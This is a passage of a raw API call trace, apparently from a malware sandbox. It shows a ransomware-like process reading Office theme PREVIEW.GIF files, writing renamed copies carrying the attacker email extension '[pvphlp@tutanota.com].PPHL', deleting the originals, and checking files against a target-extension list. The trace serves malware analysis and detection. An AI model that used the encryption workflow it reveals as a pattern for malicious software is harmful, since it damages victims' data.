lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0078.658] WriteFile (in: hFile=0x1f0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.658] SetEndOfFile (hFile=0x1f0) returned 1 [0078.658] CloseHandle (hObject=0x1f0) returned 1 [0078.658] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.658] SetEndOfFile (hFile=0x1a4) returned 1 [0078.659] CloseHandle (hObject=0x1a4) returned 1 [0078.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString=".doc") returned 4 [0078.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.660] lstrlenW (lpString=".docx") returned 5 [0078.660] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.660] lstrlenW (lpString=".pdf") returned 4 [0078.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.660] lstrlenW (lpString=".xls") returned 4 [0078.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.660] lstrlenW (lpString=".xlsx") returned 5 [0078.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.660] lstrlenW (lpString=".ppt") returned 4 [0078.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString=".zip") returned 4 [0078.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.660] lstrlenW (lpString=".rar") returned 4 [0078.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.660] lstrlenW (lpString=".bz2") returned 4 [0078.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.660] lstrlenW (lpString=".7z") returned 3 [0078.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString=".dbf") returned 4 [0078.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString=".1cd") returned 4 [0078.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.660] lstrlenW (lpString=".jpg") returned 4 [0078.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString=".doc") returned 4 [0078.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.661] lstrlenW (lpString=".docx") returned 5 [0078.661] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.661] lstrlenW (lpString=".pdf") returned 4 [0078.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString=".xls") returned 4 [0078.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString=".xlsx") returned 5 [0078.661] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.661] lstrlenW (lpString=".ppt") returned 4 [0078.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString=".zip") returned 4 [0078.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString=".rar") returned 4 [0078.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.661] lstrlenW (lpString=".bz2") returned 4 [0078.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.661] lstrlenW (lpString=".7z") returned 3 [0078.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString=".dbf") returned 4 [0078.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString=".1cd") returned 4 [0078.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0078.661] lstrlenW (lpString=".jpg") returned 4 [0078.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.662] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.662] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.662] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=2574) returned 1 [0078.662] CloseHandle (hObject=0x1a4) returned 1 [0078.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0078.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.663] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.663] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.831] GetLastError () returned 0x0 [0078.831] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0xa0e, lpOverlapped=0x0) returned 1 [0078.874] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xa10, lpOverlapped=0x0) returned 1 [0078.875] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0078.875] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.875] SetEndOfFile (hFile=0x1f8) returned 1 [0078.875] CloseHandle (hObject=0x1f8) returned 1 [0078.875] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.875] SetEndOfFile (hFile=0x1a4) returned 1 [0078.876] CloseHandle (hObject=0x1a4) returned 1 [0078.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.876] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.877] lstrlenW (lpString=".doc") returned 4 [0078.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.877] lstrlenW (lpString=".docx") returned 5 [0078.877] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.877] lstrlenW (lpString=".pdf") returned 4 [0078.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.877] lstrlenW (lpString=".xls") returned 4 [0078.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.877] lstrlenW (lpString=".xlsx") returned 5 [0078.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.877] lstrlenW (lpString=".ppt") returned 4 [0078.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.877] lstrlenW (lpString=".zip") returned 4 [0078.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.877] lstrlenW (lpString=".rar") returned 4 [0078.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.877] lstrlenW (lpString=".bz2") returned 4 [0078.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.877] lstrlenW (lpString=".7z") returned 3 [0078.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.877] lstrlenW (lpString=".dbf") returned 4 [0078.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString=".1cd") returned 4 [0078.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString=".jpg") returned 4 [0078.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString=".doc") returned 4 [0078.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.878] lstrlenW (lpString=".docx") returned 5 [0078.878] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.878] lstrlenW (lpString=".pdf") returned 4 [0078.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString=".xls") returned 4 [0078.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString=".xlsx") returned 5 [0078.878] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.878] lstrlenW (lpString=".ppt") returned 4 [0078.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString=".zip") returned 4 [0078.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString=".rar") returned 4 [0078.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.878] lstrlenW (lpString=".bz2") returned 4 [0078.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.878] lstrlenW (lpString=".7z") returned 3 [0078.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.878] lstrlenW (lpString=".dbf") returned 4 [0078.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.879] lstrlenW (lpString=".1cd") returned 4 [0078.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0078.879] lstrlenW (lpString=".jpg") returned 4 [0078.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.879] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.879] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.513] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1666) returned 1 [0079.513] CloseHandle (hObject=0x200) returned 1 [0079.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0079.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.513] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.514] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.514] GetLastError () returned 0x0 [0079.514] ReadFile (in: hFile=0x200, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x682, lpOverlapped=0x0) returned 1 [0079.515] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x690, lpOverlapped=0x0) returned 1 [0079.516] ReadFile (in: hFile=0x200, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.516] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.517] SetEndOfFile (hFile=0x20c) returned 1 [0079.517] CloseHandle (hObject=0x20c) returned 1 [0079.517] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.517] SetEndOfFile (hFile=0x200) returned 1 [0079.518] CloseHandle (hObject=0x200) returned 1 [0079.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0079.518] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0079.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.518] lstrlenW (lpString=".doc") returned 4 [0079.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.518] lstrlenW (lpString=".docx") returned 5 [0079.518] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.518] lstrlenW (lpString=".pdf") returned 4 [0079.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.518] lstrlenW (lpString=".xls") returned 4 [0079.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString=".xlsx") returned 5 [0079.519] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.519] lstrlenW (lpString=".ppt") returned 4 [0079.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString=".zip") returned 4 [0079.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString=".rar") returned 4 [0079.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString=".bz2") returned 4 [0079.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.519] lstrlenW (lpString=".7z") returned 3 [0079.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString=".dbf") returned 4 [0079.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString=".1cd") returned 4 [0079.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString=".jpg") returned 4 [0079.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.519] lstrlenW (lpString=".doc") returned 4 [0079.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.519] lstrlenW (lpString=".docx") returned 5 [0079.519] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.519] lstrlenW (lpString=".pdf") returned 4 [0079.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString=".xls") returned 4 [0079.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.519] lstrlenW (lpString=".xlsx") returned 5 [0079.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.520] lstrlenW (lpString=".ppt") returned 4 [0079.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.520] lstrlenW (lpString=".zip") returned 4 [0079.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.520] lstrlenW (lpString=".rar") returned 4 [0079.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.520] lstrlenW (lpString=".bz2") returned 4 [0079.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.520] lstrlenW (lpString=".7z") returned 3 [0079.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.520] lstrlenW (lpString=".dbf") returned 4 [0079.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.520] lstrlenW (lpString=".1cd") returned 4 [0079.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0079.520] lstrlenW (lpString=".jpg") returned 4 [0079.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.520] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0079.520] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.521] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=2604) returned 1 [0079.521] CloseHandle (hObject=0x200) returned 1 [0079.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0079.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0079.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0079.521] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.521] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.523] GetLastError () returned 0x0 [0079.523] ReadFile (in: hFile=0x200, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0xa2c, lpOverlapped=0x0) returned 1 [0079.525] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0079.526] ReadFile (in: hFile=0x200, 